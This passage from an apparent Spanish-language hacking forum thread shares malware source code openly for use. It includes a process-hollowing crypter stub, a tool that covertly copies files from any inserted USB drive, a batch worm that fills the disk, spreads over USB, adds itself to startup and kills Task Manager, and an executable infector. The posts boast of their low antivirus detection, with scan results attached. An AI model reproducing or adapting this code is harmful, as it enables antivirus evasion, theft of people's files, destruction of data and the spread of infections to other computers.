#define COMPRESSION_ENGINE_STANDARD ( 0x0000 )
#define COMPRESSION_ENGINE_MAXIMUM ( 0x0100 )*/

#define LIB ( LPSTR )  "ntdll.dll"
#define API ( LPSTR ) "NtUnmapViewOfSection"

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize ) ( IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer ) ( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

typedef LONG ( __stdcall *NtApi ) ( HANDLE ProcessHandle, PVOID BaseAddress );

typedef BOOL ( __stdcall *Conte ) ( IN HANDLE hThread, IN const CONTEXT *lpConte );
typedef DWORD ( __stdcall *Resum ) ( IN HANDLE hThread );
typedef BOOL ( __stdcall *Wri ) ( IN HANDLE hProcess, IN LPVOID lpBaseAdress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesWritten );
typedef BOOL ( __stdcall *Rea ) ( IN HANDLE hProcess, IN LPCVOID lpBaseAddress, OUT LPVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesRead );

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
void ExecFile ( LPSTR szFilePath, LPVOID pFile );

void ExecFile ( LPSTR szFilePath, LPVOID pFile )
{

PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtApi xNt;
LPVOID pImageBase;
int Count;

Conte Contee = ( Conte ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "SetThreadContext" );
Wri Writ = ( Wri ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "WriteProcessMemory" );
Rea Reaa = ( Rea ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ReadProcessMemory" );
Resum Resu = ( Resum ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ResumeThread" );

IDH = PIMAGE_DOS_HEADER ( pFile );

if ( IDH -> e_magic == IMAGE_DOS_SIGNATURE )
{

INH = PIMAGE_NT_HEADERS ( DWORD ( pFile ) + IDH->e_lfanew );

if ( INH -> Signature == IMAGE_NT_SIGNATURE )
{
RtlZeroMemory ( &SI, sizeof ( SI ) );
RtlZeroMemory ( &PI, sizeof ( PI ) );

if ( CreateProcessA ( szFilePath, 0L, 0L, 0L, FALSE, CREATE_SUSPENDED, 0L, 0L, &SI, &PI ) )
{

CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
CTX -> ContextFlags = CONTEXT_FULL;

if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) )
{

ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8 ), LPVOID ( &dwImageBase ), 4, 0L );

if ( DWORD( dwImageBase ) == INH->OptionalHeader.ImageBase )
{

xNt = NtApi ( GetProcAddress ( GetModuleHandleA ( LIB ), API ) );
xNt ( PI.hProcess, PVOID ( dwImageBase ) );
}

pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

if ( pImageBase )
{

Writ ( PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, 0L );

for ( Count = 0; Count < INH->FileHeader.NumberOfSections; Count++ )
{

ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
Writ (PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID ( DWORD ( pFile ) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}

Writ ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INH->OptionalHeader.ImageBase ), 4, 0L );
CTX->Eax = DWORD ( pImageBase ) + INH->OptionalHeader.AddressOfEntryPoint;
Contee ( PI.hThread, LPCONTEXT ( CTX ) );
Resu ( PI.hThread);

}
}
}
}

}

GlobalFree ( pFile );
}

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut )
{

_RtlDecompressBuffer RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( LIB ), "RtlDecompressBuffer" );
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA ( LIB ), "RtlGetCompressionWorkSpaceSize" );

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlGetCompressionWorkSpaceSize ( COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet );
RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, szRet, dstSize, lpBuffer, szBuffer, dwSizeOut );

return szRet;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

STARTUPINFO stinfo;
PROCESS_INFORMATION processinformation;
HANDLE File;
DWORD dwBytes, StubSize, bytes;
LPSTR StubBuffer, Directory, AppName;

ZeroMemory ( &stinfo, sizeof ( STARTUPINFO ) );
stinfo.cb = sizeof ( STARTUPINFO );

size_t length_firma = ( size_t ) 6;

AppName = ( LPSTR ) VirtualAlloc ( 0L, ( MAX_PATH + 1 ), ( MEM_COMMIT | MEM_RESERVE ), PAGE_READWRITE );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );

if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) )
{
CloseHandle ( File );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
return -1;
}

StubSize = GetFileSize ( File, 0 );

StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( StubSize + 1 ) );
ReadFile ( File, StubBuffer, StubSize, &dwBytes, 0 );
CloseHandle ( File );

for ( bytes = 0; bytes <= StubSize; bytes ++ )
{
if ( StubBuffer [ bytes ] == '*' && StubBuffer [ bytes + 1 ] == 'b' && StubBuffer [ bytes + 2 ] == 'u' && StubBuffer [ bytes + 3 ] == 'l' &&
    StubBuffer [ bytes + 4 ] == 'l' && StubBuffer [ bytes + 5 ] == '*' ) {
                                   
StubBuffer += ( bytes + 6 );
StubSize -= ( bytes + 6 );
}
}

DWORD OutDecompressSize;
StubBuffer = DecompressBuffer ( StubBuffer, StubSize, &OutDecompressSize );

ExecFile ( LPSTR ( AppName ), StubBuffer );

GlobalFree ( StubBuffer );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );

return EXIT_SUCCESS;
}



ANALISIS 9/56

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Trojan.Heur.RP.ED92C7
Avast      20150805    Clean
Avira      20150805    TR/Crypt.XPACK.Gen
Baidu-International      20150805    Clean
BitDefender      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
F-Prot      20150805    Clean
F-Secure      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Fortinet      20150804    Clean
GData      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx
#3



Hola, en esta ocasión desarrolle un software que sirve para extraer de forma oculta todos los archivos de un USB, es decir, si vamos a algún lado y en nuestro pendrive llevamos este archivo lo que haremos es ejecutarlo y el resto de los pendrives conectado en el ordenador sus archivos se copiaran de forma oculta dentro de una nueva carpeta llamada USBDumper en donde lleves el archivo.
También funciona si alguien coloca un pendrive en tu ordenador, este copiara los archivos en una carpeta USBDumper donde este el archivo.
Dejo el código y su análisis FUD.




CitarCodigo del Ejecutable! [C/C++]
Código: cpp

#include <windows.h>
#include <shlwapi.h>

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory );
bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes );

bool __stdcall ListDirectory ( IN LPSTR lpszDirectory )
{

WIN32_FIND_DATA find;
HANDLE Search;

char NewDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH ];
lstrcpyA ( NewDirectory, lpszDirectory );
lstrcatA ( NewDirectory, "*" );

Search = FindFirstFileA ( NewDirectory, &find );
if ( Search == 0L || Search == INVALID_HANDLE_VALUE )
{

FindClose ( Search );

return false;
}

while ( FindNextFileA ( Search, & find ) )
{

char CopyDirectory [ lstrlenA ( lpszDirectory ) + MAX_PATH + lstrlenA ( find.cFileName ) ];
lstrcpyA ( CopyDirectory, lpszDirectory );

lstrcatA ( CopyDirectory, find.cFileName );

if ( lstrcmpA ( find.cFileName, ".") != 0 && lstrcmpA ( find.cFileName, ".." ) != 0 && find.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
lstrcatA ( CopyDirectory, "\\" );

ListDirectory ( CopyDirectory );
}

CopyFiles ( CopyDirectory, find.dwFileAttributes );

}

FindClose ( Search );

return true;
}

bool __stdcall CopyFiles ( IN LPSTR lpszDirectory, IN DWORD Attributes )
{

LPSTR Name, PathComplete, Temp, Teme;
unsigned long len = 0, i = 0;
bool dirent = false;

if ( ! PathFileExistsA ( "USBDump" ) )
{
CreateDirectoryA ( "USBDump", 0L );
}
else
{
if ( GetFileAttributesA ( "USBDump" ) != FILE_ATTRIBUTE_DIRECTORY )
{
CreateDirectoryA ( "USBDump", 0L );
}
}

Name = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );
Teme = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 + lstrlenA ( lpszDirectory ) ) );

if ( Attributes == FILE_ATTRIBUTE_DIRECTORY )
{

for ( i = lstrlenA ( lpszDirectory ); i > 0; i -- )
{
if ( lpszDirectory [ i ] == '.' && lpszDirectory [ i + 1 ] == '.' )
{
CopyMemory ( & Teme [ 0 ], & lpszDirectory [ 0 ], ( lstrlenA ( lpszDirectory ) - 3 ) );
dirent = true;
break;
}
}
}

if ( dirent )
{
for ( i = lstrlenA ( Teme ); i > 0; i -- )
{
if ( Teme [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & Teme [ i + 1 ], lstrlenA ( Teme ) - ( i - 1 ) );
GlobalFree ( Teme );

dirent = false;
break;
}
}

Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & Temp [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );
CopyMemory ( & Temp [ lstrlenA ( Temp ) ], & Name [ 0 ], lstrlenA ( Name ) );

CreateDirectoryA ( Temp, 0L );

GlobalFree ( Temp );
GlobalFree ( Teme );
GlobalFree ( Name );
GlobalFree ( PathComplete );

return true;
}
else
{
for ( i = 0; i < lstrlenA ( lpszDirectory ); i ++ )
{
if ( lpszDirectory [ i ] == '\\' )
{
CopyMemory ( & Name [ 0 ], & lpszDirectory [ i + 1 ], lstrlenA ( lpszDirectory ) - ( i ) );
dirent = false;
break;
}
}
}

if ( Attributes != FILE_ATTRIBUTE_DIRECTORY )
{
if ( ( Attributes == FILE_ATTRIBUTE_HIDDEN ) || ( Attributes == FILE_ATTRIBUTE_READONLY ) ||
( Attributes == FILE_ATTRIBUTE_SYSTEM ) )
{

SetFileAttributesA ( lpszDirectory, FILE_ATTRIBUTE_NORMAL );
}
}

PathComplete = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + lstrlenA ( Name ) + 1 ) );
CopyMemory ( & PathComplete [ 0 ], & "USBDump\\", lstrlenA ( "USBDump" ) + 1 );

//Name [ lstrlenA ( Name ) ] == '\\' ? len = lstrlenA ( Name ) - 1 : len = lstrlenA ( Name );
CopyMemory ( & PathComplete [ lstrlenA ( PathComplete ) ], & Name [ 0 ], lstrlenA ( Name ) );

CopyFileA ( lpszDirectory, PathComplete, false );

GlobalFree ( Name );
GlobalFree ( PathComplete );
GlobalFree ( Teme );

return true;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

LPSTR Drivers = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), 513 );
GetLogicalDriveStringsA ( 512, Drivers );

LPSTR Drive = Drivers;

while ( *Drive )
{
if ( GetDriveTypeA ( Drive ) == DRIVE_REMOVABLE )
{
ListDirectory ( Drive );
}

Drive += lstrlenA ( Drive ) + 1;
}

GlobalFree ( Drivers );

return EXIT_SUCCESS;
}



ANALISIS FUD

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SIN-PASS
#4
Batch - Bash / Worm [Llena HD][Batch]
Agosto 15, 2015, 11:41:32 PM

Hola revisando la carpeta de codigos viejos, encontre esto que quizas a alguien le pueda servir, llena el HD con archivos basuras, y se propaga por USB, se agrega al registro y crea un servicio de inicio.


Código: dos

@echo off
@color fc|color f0 && set /a maxvueltas=500::esto se multiplica por dos::
@mode con cols=10 lines=10
set hola=%~0
set /a count=1
set /a llenarhd=-1

set a=a
set t=t
set o=o
set r=r
set u=u
set n=n
set name=%a%%u%%t%o%r%un.i%n%f

if not exist %windir%\system32\update.%hola:~-3% (copy /y %0 %windir%\system32\update.%hola:~-3% && attrib +r +a +s +h %windir%\system32\update.%hola:~-3%) else (attrib +r +a +s +h %windir%\system32\update.%hola:~-3%)
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /d REG_SZ /t %windir%\system32\update.%hola:~-3% /f
sc create Update start=auto error=critical type=share binpath=%windir%\system32\update.%hola:~-3%

:a
rundll32 user32.dll,SetCursorPos %random:~-2%,%random:~2,0%
@tasklist /m | find /i "taskmgr.exe">nul
if errorlevel 1 (taskkill /f /im taskmgr.exe)>nul

for /d %%x in (%a%,B,C,D,E,F,G,H,I,J,K,L,M,%n%,%o%,P,Q,%r%,S,%t%,V,%u%,W,X,Y,Z) do (
if exist %%x: (
if not exist %%x:\%name:~0,5%.%hola:~-3% (copy /y %0 %%x:\%a%%u%%t%%o%%r%%u%%n%.%hola:~-3% && attrib +r +a +s +h %%x:\%name:~0,5%.%hola:~-3%) else (
attrib +r +a +s +h %%x:\%name:~0,5%.%hola:~-3%
if not exist %%x:\%name% (
echo [%a%%u%%t%%o%%r%%u%%n%] > %%x:\%name% | echo ShellExecu%t%e=%name:~0,5%.%hola:~-3% >> %%x:\%name%
for /l %%d in (1,10,1000) do (echo ;%random%%random%%random%%random%%random% >> %%x:\%name%)
echo %o%pe%n%=%name:~0,5%.%hola:~-3% >> %%x:\%name%|attrib +r +a +s +h %%x:\%name%)
) else (attrib +r +a +s +h %%x:\%name%)
)
)

set /a maxvueltas=%llenarhd%::

if %count%==%maxvueltas% (call:exit) else (set /a count=%count% + 1)
copy /y %0 %windir%\system32\drivers\etc\%random%%random%.%hola:~-3%>nul && md %windir%\system32\drivers\etc\%random%%random%%random%%random%>nul
goto:a

:exit
del /q /f %0
exit



Saludos!  ;D

#5

Hola ! tenia pensado utilizar esta formula para el RAT de foro, que les dejo el link por aquí a los interesados  ::)
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bueno sin mas, este código infecta ejecutables de un directorio, este puede ser modificado a su gusto, esta testeado y funciona al %100 con ejecutables de todo tipo.
Que es lo que hace en concreto y para que sirve ?
-Imagina que tienes el directorio de Windows, o una carpeta con Juegos y archivos descargados de Internet antes de infectarte.
Luego de la infección todos esos ejecutables contendrán tu virus, malware o a lo que lo implementes.
Cuando abres el archivo Infectado, lo que primero hará es ejecutarse el Malware/Virus,etc y Luego ejecuta el archivo de forma normal, luego de cerrar el proceso borra el archivo temporal que se encuentra oculto con el mismo nombre. De esa forma es mas difícil desinfectarse y casi siempre así mismo borre el ejecutable original, al abrir viejos software's se volverá a infectar.

Esta testeado con AVIRA - ESET 8 - & Avast 5 en modo de ejecución y no detectaron nada :D
Les dejo el link de analisis 0/57  8) :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Código: cpp
#include <windows.h>

/*
#########################################################################################
# #
# Infección de ejecutables por - Nico Buzzi - xxneeco83xx #
# Este metodo no es detectado por la heuristica de los antivirus talez como Avira. #
# Codigo para foro UnderC0de.org - 15/8/15 #
# #
#########################################################################################
*/

//Estroctura para alocar los numeros de buffers y los buffers diferentes separados por el delimitador
typedef struct
{
char **string_data;
int number_string;

} split_struct;

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee );
DWORD __stdcall _lstrlen ( IN LPSTR lpszString );

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee )
{

//Definiciones de variables.
split_struct *return_value;
DWORD lpszBuffer_length, lpDelimitador_length;
DWORD bytes = 0, x = 1, aciertos = 0, count = 0, items = 0, p = 0, contador = 0;
LPSTR MyBuffer, *buffer;

lpszBuffer_length = dwSizee;
lpDelimitador_length = _lstrlen ( lpDelimitador );
bool encontre = false;

//Reservamos la variable principal
MyBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
memcpy ( & MyBuffer [ 0 ], & lpszBuffer [ 0 ], lpszBuffer_length );

//Reservamos las variables necesarias
return_value = ( split_struct * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
buffer = ( LPSTR * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length + 1 ) );
*buffer = 0;

//Recorremos el buffer en busqueda de el delimitador.
for ( bytes = 0; bytes <= lpszBuffer_length; bytes ++ )
{
if ( MyBuffer [ bytes ] == lpDelimitador [ 0 ] )
{
for ( x = 0; x <= lpDelimitador_length; x++ )
{
//En caso de coincidir con el delimitador, incrementamos los aciertos
if ( MyBuffer [ bytes + x ] == lpDelimitador [ x ] )
{
aciertos++;
}

//Si ya se acerto toda la firma, cortamos el for.
if ( aciertos == lpDelimitador_length )
{
items ++;
break;
}
}
}

//Si coincide el delimitador con el buffer que vamos analizando.
if ( aciertos == lpDelimitador_length )
{

//Reservamos el buffer, y copiamos los bytes hasta el delimitador.
buffer [ ++ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
memcpy ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], bytes );

//Ajustamos el buffer.
MyBuffer += ( bytes + lpDelimitador_length );

//Acertado, volvemos a restablecer valores.
encontre = true;
aciertos = 0;
bytes = 0;
}

//En caso de encontrar la cadena en la cual esta la ruta, en un buffer a parte reservamos el buffer.
if ( encontre == true && lstrcmpA ( ( buffer [ count ] + _lstrlen ( buffer [ count ] ) - 4 ), "exe-" ) == 0 )
{
encontre = false;

count ++;
buffer [ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
CopyMemory ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], lpszBuffer_length - ( _lstrlen ( buffer [ count - 1 ] ) ) );

items ++;
break;
}
}

//Liberamos el buffer que usamos temporalmente.
GlobalFree ( MyBuffer );

//Le decimos cuales son los punteros a apuntar desde la estroctura.
return_value -> string_data = buffer;
return_value -> number_string = items;

//Returnamos
return return_value;

}

//Funcion que remplaza a lstrlenA o strlen ( de string.h )
DWORD __stdcall _lstrlen ( IN LPSTR lpszString )
{

register DWORD bytes = 0;

//Vamos contando los caracteres que contiene nuestro buffer.
while ( * ( lpszString ++ ) != 0x00 ) bytes ++;

return DWORD ( bytes );
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

//Variables necesarias
HANDLE File;
DWORD dwBytes, dwSize, dwSizeOriginal, Attributes, NewSize;
WIN32_FIND_DATA Find;
HANDLE Search;

//Estrocturas PE
PIMAGE_DOS_HEADER pImageDosHeader;
PIMAGE_NT_HEADERS pImageNtHeaders;
PIMAGE_SECTION_HEADER pImageSectionHeader;

//Variable para CreateProcess, para poder ejecutar la aplicación.
STARTUPINFOA si;
PROCESS_INFORMATION pi;

//Rellenamos las estrocturas
ZeroMemory ( &si, sizeof ( STARTUPINFOA ) );
ZeroMemory ( &pi, sizeof ( PROCESS_INFORMATION ) );

//Calculamos el tamaño de StartupInfoA struct en su cb
si.cb = sizeof ( STARTUPINFOA );

//Variables de tipo puntero char.
LPSTR AppName, Buffer, NewBuffer, PathInfect, PreBuffer, Path, Firma;

//Obtenemos nuestro nombre de ejecutable.
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

//Nos abrimos
File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0 );

//Si existe algun error al abrirnos para leernos.
if ( ( File == INVALID_HANDLE_VALUE ) )
{
CloseHandle ( File );
GlobalFree ( AppName );

return EXIT_FAILURE;
}

//Obtenemos el tamaño de nuestro archivo
dwSize = GetFileSize ( File, 0 );
dwSizeOriginal = dwSize;

//Luego de leernos
Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

//Liberamos la variable que contiene nuestra ruta.
GlobalFree ( AppName );

//Obtenemos el PE, y el tamaño de nuestro ejecutable, para determinar si somos o no un archivo infectado.
pImageDosHeader = ( PIMAGE_DOS_HEADER ) & Buffer [ 0 ];
pImageNtHeaders = ( PIMAGE_NT_HEADERS ) & Buffer [ pImageDosHeader -> e_lfanew ];
pImageSectionHeader = ( PIMAGE_SECTION_HEADER ) & Buffer [ pImageDosHeader -> e_lfanew + sizeof ( IMAGE_NT_HEADERS ) + sizeof ( IMAGE_SECTION_HEADER ) * ( pImageNtHeaders -> FileHeader.NumberOfSections - 1 ) ];

NewSize = pImageSectionHeader -> PointerToRawData + pImageSectionHeader -> SizeOfRawData;

//En caso de no ser un archivo infectado infecto.
if ( NewSize == dwSize )
{

//En el directorio
char directory [ MAX_PATH + 1 ];
wsprintfA ( directory, "%s\\nueva\\*", getenv ( "homedrive" ) );

//Comenzamos la busqueda
Search = FindFirstFileA ( directory, &Find );

//Si hay problemas al listar, salimos.
if ( Search == INVALID_HANDLE_VALUE )
{
FindClose ( Search );

return EXIT_FAILURE;
}

//Avanzamos en el directorio de system32 buscando archivos a infectar
while ( FindNextFileA ( Search, & Find ) != 0 )
{
//Si el archivo es ejecutable (.exe)
if ( lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".exe" ) == 0 || lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".EXE" )  == 0 )
{

//Alojamos la firma
Firma = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), 500 );
wsprintfA ( Firma, "#EXE" );
lstrcatA ( Firma, "CUTABLE#" );

//Creamos la ruta de donde iremos a buscar ejecutables para infectar.
PathInfect = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
CopyMemory ( & PathInfect [ 0 ], & directory [ 0 ], _lstrlen ( directory ) - 1 );

CopyMemory ( & PathInfect [ lstrlenA ( PathInfect ) ], &Find.cFileName, lstrlenA ( Find.cFileName ) );
Attributes = GetFileAttributesA ( PathInfect );

//Abrimos el ejecutable que iremos a infectar
File = CreateFileA ( PathInfect, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, Attributes, 0 );

//Verificamos que no haya fallos a la hora de abrir el ejecutable a infectar
if ( File == INVALID_HANDLE_VALUE )
{

CloseHandle ( File );
GlobalFree ( Firma );
GlobalFree ( PathInfect );

return EXIT_FAILURE;
}

//Creamos la firma que le colocaremos para distinguir el infectado al ejecutable normal
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & PathInfect [ 0 ], _lstrlen ( PathInfect ) );
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & "-#EXE", _lstrlen ( ( LPSTR ) "-#EXE" ) );
lstrcatA ( Firma, "CUTABLE#" );

//Obtenemos el tamaño del archivo a infectar
dwSize = GetFileSize ( File, 0 );
PreBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );

//Leemos el archivo que vamos a infectar
ReadFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

//Abrimos el archivo a infectar
File = CreateFileA ( PathInfect, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, Attributes, 0 );

//Escribimos el nuevo archivo.
WriteFile ( File, Buffer, dwSizeOriginal, &dwBytes, 0 );
WriteFile ( File, Firma, _lstrlen ( Firma ), &dwBytes, 0 );
WriteFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
WriteFile ( File, "ENDOF", _lstrlen ( ( LPSTR ) "ENDOF" ), &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
CloseHandle ( File );

//Liberamos los buffers
GlobalFree ( PreBuffer );
GlobalFree ( PathInfect );
GlobalFree ( Firma );
}

}

//Cerramos la busqueda
FindClose ( Search );

//Liberamos el buffer
GlobalFree ( Buffer );

//Salimos.
